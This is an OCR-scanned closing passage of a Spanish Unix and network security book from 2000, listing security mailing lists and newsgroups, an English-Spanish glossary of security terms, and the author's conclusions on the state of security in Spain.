• IrisCERT: http://www.rediris.es/cert/ 

• Hispasec: http://www.hispasec.com/ 

• CriptoRed: http : //www . lpsi . eui .upm. es/criptored/criptored.htm 

• Recursos Criptologfa en Espana: http : / /bbs . seker . es/~alvy/cr ipto . html 

• A.C.E.: http://www.ace.es/ 


C.8 Listas de correo 

• BUGTRAQ: 

Sin duda la mejor lista de seguridad informatica que existe en la actualidad. Es impres- 
cindible suscribirse a ella, especialmente en el caso de administradores de sistemas Unix. 
Para hacerlo se ha de enviar un correo electronico a listserv@lists.securityfocus.com 
indicando en el cuerpo del mensaje ‘subscribe bugtraq nombre’. 

• Best of Security: 

Lista con un gran volumen de trafico donde se trata de sacar a la luz cualquier proble- 
ma de seguridad en el mmimo tiempo posible, muchas veces con mensajes cluplicados o 
reenvfos directos de otras listas; no es moderada. Para suscribirse, se ha de enviar un 
correo a best-of-security-request@suburbia.net indicando en el cuerpo ‘subscribe 
best-of-security ’ . 

• Linux Security: 

Lista sin mucho trafico en la que se tratan problemas de seguridad especificos de Linux. Para 
suscribirse es necesario enviar un correo a linux-security-request@redhat.com indicando 
‘subscribe’ en el subject (asunto) del mensaje. 

• Linux Alert: 

Lista similar a la anterior pero donde se envian problemas de seguridad urgentes (alertas) 
relativos a Linux; para suscribirse, enviar un e-mail a linux-alert-request@redhat . com 
indicando ‘subscribe’ en su subject. 

• Computer Privacy Digest: 

Lista moderada donde se tratan temas relacionados con la tecnologfa y la privacidad. Para 
suscribirse se ha de enviar un e-mail a comp-privacy-request@uwm.edu indicando 
‘subscribe cpd’ en el cuerpo del mensaje. 

• Computer Underground Digest: 

En esta lista se trata cualquier tema relativo al underground informatico; para suscribirse, 
enviar un correo a cu-digest-request@weber.ucsd.edu indicando en el cuerpo del mismo 
‘sub cudigest’. 
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• Firewalls: 

Como su nombre indica, en esta lista de correo se discuten temas relacionados con los cor- 
tafuegos y sus implicaciones de seguridad. Para suscribirse hay que enviar un e-mail a 
majordomo@lists.gnac.net indicando en el cuerpo del mensaje ‘subscribe firewalls’. 

• Intrusion Detection Systems: 

Lista muy interesante, dedicada a discutir aspectos relativos a los sistemas de detection de 
intrusos. Para suscribirse es necesario enviar un correo electronico a majordomo@uow.edu.au 
indicando ‘subscribe ids’ en el cuerpo del mismo. 

• CERT: 

Lista del CERT, con muy poco trafico y - en general - poco util, ya que cualquier problema 
de seguridad es tratado mucho antes en otros foros de discusion. Para suscribirse hay que 
enviar un correo a certScert . org indicando ‘I want to be on your mailing list’ en el 
cuerpo del mismo. 

• WWW Security: 

Lista moderada dedicada a la seguridad de los servidores web. Para suscribirse hay que enviar 
un correo electronico a www-security-request@nsmx.rutgers.edu indicando ‘subscribe 
www-security direccionSde . correo ’ en su cuerpo. 

• Alert: 

Lista moderada en la que se tratan vulnerabilidades, intrusiones, productos y herramientas 
de seguridad. .. Para suscribirse se ha de enviar un e-mail a majordomo@iss.net indicando 
‘subscribe alert’ en el cuerpo del mensaje. 

• Risks: 

Lista dedicada a la discusion de los riesgos que implican las nuevas tecnologias en la sociedad 
moderna. Para suscribirse hay que enviar un correo a risks-request@csl . sri . com indicando 
en su cuerpo ‘subscribe’. 

• University Info Security Forum: 

Lista no moderada clonde se trata cualquier tema relacionado con la seguridad informatica en 
entornos de education o I+D. Para suscribirse es necesario enviar un e-mail a 
listserv@cuvmc . ais . Columbia, edu indicando ‘subscribe uninfsec’ en el cuerpo del mis- 
mo. 

• Sneakers: 

En esta lista se tratan temas relativos a la evaluation y testeo legal de diferentes mecanismos 
de seguridad en redes, especialmente de cortafuegos. Para suscribirse hay que enviar un correo 
a majordomo@cs.yale.edu indicando ‘subscribe sneakers’ en el cuerpo del mismo. 

• Cypherpunks: 

Lista con un gran volumen de mensajes dedicada a la discusion tecnica de la privacidad 
personal en la red. Para suscribirse, enviar un correo a majordomoStoad. com indicando en el 

cuerpo ‘subscribe cypherpunks-unedited’ . 

• Cryptobytes: 

Lista sobre criptografia, de Cryptobytes (RSA), con un escaso volumen de mensajes. Para 
suscribirse hay que enviar un e-mail a majordomo@rsa. com indicando ‘subscribe 
cryptobytes’ en el cuerpo del mismo. 

• Stegano-L: 

Lista dedicada a la esteganografia; para suscribirse hay que enviar correo electronico a 
stegano-l-request@as-node.jena.thur.de indicando en el cuerpo del mismo ‘sub 
stegano-1 direccion@de . correo ’ . 
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• esCERT: 

Lista abierta y moderada de IrisCERT, en Castellano, donde se tratan problemas de seguridad 
genericos en redes y sistemas operativos. Para suscribirse hay que visitar la siguiente direccion: 

http : / /listserv . redir is . es/archives/ cert-es . html 

• Cripto Foro: 

Esta lista presenta un foro de discusion sobre temas relacionados con el cifrado de datos en Es- 
paha. No se suelen plantear cludas de caracter tecnico, sino mas bien se habla de conferencias, 
convenciones. . . Para suscribirse hay que enviar un e-mail a cripto_f oro-request@f i .upm. es 
indicando 'subscribe cripto_foro’ en el cuerpo del mismo. 

• Hacking: 

Lista moderada de hacking en Castellano. Para suscribirse es necesario enviar un correo 
electronico a majordomo@argo.es indicando 'subscribe hacking’ en el cuerpo del mismo. 

NOTA: En http://xforce.iss.net/maillists/otherlists.php3 tenemos excelente informa- 
cion de las mejores listas de seguridad, como suscribirse, como participar. . . Esta section esta am- 
pliamente basada en esa pagina. 

C.9 Grupos de noticias 

C.9.1 Criptologia 

• alt . security .keydist 

• alt . security .pgp 

• alt . security .pgp . announce 

• alt . security .pgp . discuss 

• alt . security .pgp .resources 

• alt . security .pgp .tech 

• alt . security .pgp .test 

• alt. privacy. clipper 

• comp. risks 

• comp. security. ssh 

• sci . crypt 

• sci . crypt . research 

• talks .politics . crypto 

C.9. 2 Unix 

• alt.os.linux 

• alt . Solaris .x86 

• alt .unix. wizards 

• comp . admin. policy 

• comp. security. unix 
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• comp. unix. programmer 

• comp .unix . Solaris 

• linux. dev. admin 

C.9.3 Redes 

• comp. protocols. kerberos 

• comp. protocols. tcp-ip 

• comp . security . firewalls 

C.9.4 Misc 

• alt. 2600 

• alt . comp . virus 

• alt . disasters .planning 

• alt. hackers 

• alt .hackers .malicious 

• alt. hacking 

• alt. security 

• alt . security . alarms 

• alt . security . index 

• comp . security 

• comp . security . announce 

• comp. security. misc 

• comp. virus 

• misc . security 



Apendice D 

Glosario de terminos anglosajones 


- A - 

Access Control List: Lista de Control de Acceso (ACL). 
Accountability: Capacidad de ser registrado. 

Aging Password: Envejecimiento de contrasenas. 

Anomaly Detection: Detection de anomalias. 

Audit Trail: Registro de auditoria. 

Authentication by assertion: Autenticacion por declaration. 
Availability: Disponibilidad. 


- B - 


Back Door: Puerta trasera. 

Backup: Copia de seguridad. 

Backup level: Nivel de copia de seguridad. 

Backup plan: Plan de contingencia. 

Buffer Overflow: Desbordamiento de pila, desbordamiento de buffer. 
Buggy Software: Software incorrecto. 

Bug: Agujero. 


- c - 


Confidentiality: Confidencialidad. 

Confinement Channel: Canal cubierto u oculto. 

Contingency plan: Plan de contingencia. 

Covert Channel: Canal cubierto u oculto. 

Covert storage channel: Canal oculto de almacenamiento. 
Covert timing channel: Canal oculto de temporization. 
Cryptoperiod: Tiempo de expiration de clave, vigencia de clave. 


- D - 

De— Militarized Zone: Zona desmilitarizada, red perimetrica (DMZ). 
Denial of Service: Negation de servicio (DoS). 

Dependability: Confiabilidad. 

Discretionary Access Control: Control de accesos discrecional (DAC). 
Dual control: Conocimiento parcial. 
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- E - 


Eavesdropping: Fisgoneo, intercept acion. 
Entrapment: Trampeado. 


- F - 


Fault: Fallo. 

Firewall: Cortafuegos. 


- G - 

Group Identifier: Identificador de grupo (GID). 

- H - 


Hash Function: Funcion resumen. 

Honeypot: Tarro de miel, sistema de deception. 

Host authentication: Autenticacion por maquina. 

Host— based IDS: Sistema de detection de intrusos basado en maquina. 

- I - 

Impersonation: Falseamiento, enmascaramiento. 

Integrity: Integridad. 

Intrusion Detection System: Sistema de detection de intrusos (IDS). 
Isolation: Aislamiento. 


- J - 


Jailing: Encarcelamiento. 


- L - 


Leakage: Filtration. 

Log File Monitor: Monitor de registros (LFM). 
Logic Bomb: Bomba logica. 


- M - 


Malware: Software malicioso. 

Mandatory Access Control: Control de accesos obligatorio (MAC). 
Masquerade: Mascarada, enmascaramiento. 

Mimicking: Falseamiento, enmascaramiento. 

Misuse Detection: Detection de usos indebidos. 

Multilevel security: Seguridad multinivel (MLS). 

- N - 


Need to know: Necesidad de saber. 

Network— based IDS: Sistema de detection de intrusos basado en red. 
Notarization: Certification. 
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- o - 

One Time Password: Clave de un solo uso, clave de uso unico (OTP). 

- P - 

Passive Wiretapping: Fisgoneo, intercept acion. 

Password: Clave, contrasena. 

Patch: Parche. 

Personal Identification Number: Niimero de identification personal (PIN). 
Plausible Deniability: Negation creible. 

Privacy: Privacidad. 


- R - 


Rabbit Programs: Programas conejo. 

Race Conditions: Condiciones de carrera. 
Reliability: Confiabilidad. 

Replay attack: Ataque por reenvio o reproduction. 
Round down: Redondeo hacia abajo. 


- s - 

Safety: Seguridad (entendida como tolerancia a fallos). 

Scavenging: Basureo. 

Security policy: Politica de seguridad. 

Security: Seguridad. 

Shadow Password: Oscurecimiento de contrasenas. 

Social Engineering: Ingenierfa Social. 

Source Routing: Encaminamiento en origen. 

Source Suppressed: Fuente eliminada. 

Spoofing: Falseamiento, enmascaramiento. 

Stack Smashing: Desborclamiento de pila. 

Sticky bit: Bit de permanencia. 

System Integrity Verifier: Verificador de integridad del sistema (SIV). 


- T - 


Tampering: Adulteration. 

Threat: Amenaza. 

Tiger Team: Grupo o equipo Tigre. 

Token authentication: Autenticacion por testigo. 

Trap Door: Puerta Trasera. 

Trashing: Basureo. 

Trojan Horse: Caballo de Troya. 

Trojan Mule: Mula de Troya. 

Trusted Communication Path: Ruta de comunicacion fiable (TCP). 
Trusted Computing Base: Base segura o fiable de computo (TCB). 
Trusted Unix: Unix fiable. 

Trustworthiness: Fiabilidad. 


- u - 
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Uninterruptible Power Supplies (UPS): Servicio de Alimentacion Ininterrumpido (SAI). 
User Identifier: Identificador de usuario (UID). 


- V - 

Virtual Private Network: Red Privada Virtual (VPN). 


- w - 


Wiretapping: Interceptacion. 
Worm: Gusano. 


- z - 


Zeroization: Puesta a cero. 



Conclusiones 


Si despues de aproximadamente 350 hojas de trabajo, con mas de 230 referencias bibliograficas cita- 
das, aiin hay alguien que considere a Unix un sistema inseguro existen clos opciones: o se equivoca 
el o me equivoco yo. Seguramente que me equivoque yo no seria dificil; lo realmente extrano es 
que se hayan equivocado todos los expertos que durante anos - algunos desde antes de que muchos 
de nosotros hubieramos nacido - han venido aportando su tiempo, su talento y sus conocimientos 
al mundo de la seguridad informatica (por supuesto, hablo de expertos de verdad, no de hackers, 
crackers, o como ahora se quiera llamar a los piratas) , una materia que dia a dia va demostrando su 
importancia en todo tipo de organizaciones. Como es bastante dificil que toda esta gente se haya 
equivocado, seria conveniente que el que aun a estas alturas dude de las posibilidades de Unix (en 
cuanto a seguridad se refiere, aunque podriamos hablar de posibilidades en general) con respecto a 
otros sistemas se replantee sus ideas. 

En este proyecto se han revisado las bases mas importantes de la seguridad en Unix y redes; 
evidentemente, muchas cosas se han quedado en el tintero, y otras muchas no han sido comentadas 
con la profundidad que sin duda merecen. Se han intentado ofrecer ejemplos aplicados a entornos 
que no precisan de una alta seguridad, pero si de una seguridad minima, como es el caso de las redes 
de I+D, las de medianas empresas, y las de ISPs. El trabajo se ha dividido en cinco grandes partes; 
en la primera (seguridad del entorno de operaciones) se habla de las implicaciones de seguridad 
(e inseguridad) relacionadas con la simple existencia de un sistema, Unix o no, en un entorno de 
trabajo: su ubicacion fisica, las personas que le rodean. . . Una segunda parte es la relacionada con la 
seguridad de la maquina en si, sin conexion a red, y todos los problemas que nos podemos encontrar 
en esta situation; como los sistemas aislados son cada dia mas extranos, la tercera parte (seguridad 
de la subred) introduce algunos de los peligros (y sus soluciones) que no existian en maquinas sin 
conectar a una red. A continuation, una cuarta parte habla de otros aspectos relacionados con la 
seguridad de un equipo, algunos de los cuales son las bases para comprender muchas de las cosas 
que se explican en el trabajo (por ejemplo, la criptologia) . Para terminar, en la quinta parte del 
proyecto, ya como apendices, se presenta un escueto resumen de normas de seguridad a modo de 
‘receta de cocina’ para administradores, algunas normativas vigentes en Espaha relacionadas con los 
sistemas informaticos y su (in) seguridad, una referencia de recursos relacionados con esta materia 
en Internet, y finalmente un pequeno glosario de terminos anglosajones utilizados con frecuencia en 
el mundo de la seguridad en Unix. 

A pesar del elevado nivel de seguridad que Unix puede ofrecer (al menos espero que haya quedado 
patente que Unix es el sistema operativo de proposito general mas seguro hoy en dia) cualquiera 
que se diera una vuelta, fisica o virtual, por la mayoria de entornos ‘normales’ en Espana podria 
comprobar que su seguridad es en la mayor parte de los casos pobre, cuando no inexistente. Si Unix 
es teoricamente tan seguro, ipor que en la practica cualquier aprendiz de pirata es capaz de ‘colarse’ 
en servidores de todo tipo?, j,donde esta el problema? El problema no radica en Unix: radica en las 
personas que estan cletras del sistema operativo, generalmente administradores y usuarios de cual- 
quier categoria. Unix ofrece los mecanismos suficientes como para conseguir un nivel de seguridad 
mas que aceptable, pero somos nosotros los que en muchos casos no sabemos aprovecharlos. Para 
solucionar el problema, como ya hemos comentado a lo largo del proyecto, existen dos soluciones 
que todos deberiamos intentar aplicar: en primer lugar la concienciacion de los problemas que nos 
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pueden acarrear los fallos de seguridad (a muchos aun les parece que el tema no va con ellos, que 
los piratas informaticos solo existen en el cine, y que en su maquina nada malo puede ocurrir). Tras 
la condemnation, es necesaria una formacion adecuada a cada tipo de persona (evidentemente no 
podemos exigir los mismos conocimientos a un administrador responsable de varias maquinas que 
a un usuario que solo conecta al sistema para lanzar simulaciones) ; no es necesario convertirse en 
un experto, simplemente hay que leer un poco y conocer unas normas basicas (por ejemplo, las 
presentadas en el apendice A. . . si alguien argumenta que no tiene tiempo para leer quince hojas, 
seguramente esta mintiendo). Con estos dos pasos seguramente no pararemos a todos los piratas 
que nos intenten atacar, pero si a la gran mayoria de ellos, que es lo que realmente interesa en el 
mundo de la seguridad. 

Aparte del logico incremento en el nivel de seguridad que se conseguiria mediante una minima con- 
cienciacion y formacion de los usuarios de Unix, existe un escollo que estas dos medidas dificilmente 
nos van a permitir superar: la simpatia que socialmente despiertan muchos piratas informaticos; 
por desgracia, mucha gente aun considera a estos personajes una especie de heroes. Si nadie aplaude 
al que roba un bolso en la calle, ipor que aun existen clefensores de los que roban contrasehas de 
un sistema? Mientras sigamos sin darnos cuenta de lo que realmente son los piratas (simplemente 
delincuentes) sera dificil que la seguridad informatica sea tomada en serio. 

No me gustaria acabar este trabajo sin una pequena reflexion sobre el panorama de la seguri- 
dad en Unix y redes que existe actualmente en Espaha; solo cabe una definition: lamentable. Lo 
unico que por suerte se toma en serio es la criptografia, que cuenta con grupos de estudio y docen- 
cia en algunas universidades del pais. Del resto, casi es mejor no hablar: no existe ningiin grupo 
importante de investigation en ninguna universidad espahola, el numero de articulos publicados en 
revistas serias se reduce a cero, y la docencia universitaria a unas pocas asignaturas genericas - y 
que ni siquiera son obligatorias por supuesto, no existe ningun programa de doctorado relaciona- 
do con la materia (excepto, una vez mas, y afortunadamente, con la criptografia). De esta forma, 
si la mayor parte de los informaticos salen de las facultades sin conocer conceptos tan basicos como 
sniffer o caballo de Troya (ya no hablamos de cosas como esteganografia o seguridad multinivel) , 
no es de extrahar que la seguridad se encuentre actualmente (en la mayor parte de los casos) en 
manos de aficionados a la informatica con ciertos conocimientos practicos pero con una importante 
falta de bases teoricas sobre la materia. Si lo que queremos son sistemas inseguros y reportajes 
sensacionalistas sobre quinceaheros que violan la seguridad de La Moncloa, lo estamos consiguien- 
do. . . pero quizas deberiamos plantearnos que ha de pasar para que esto cambie. 


Valencia, julio de 2000 
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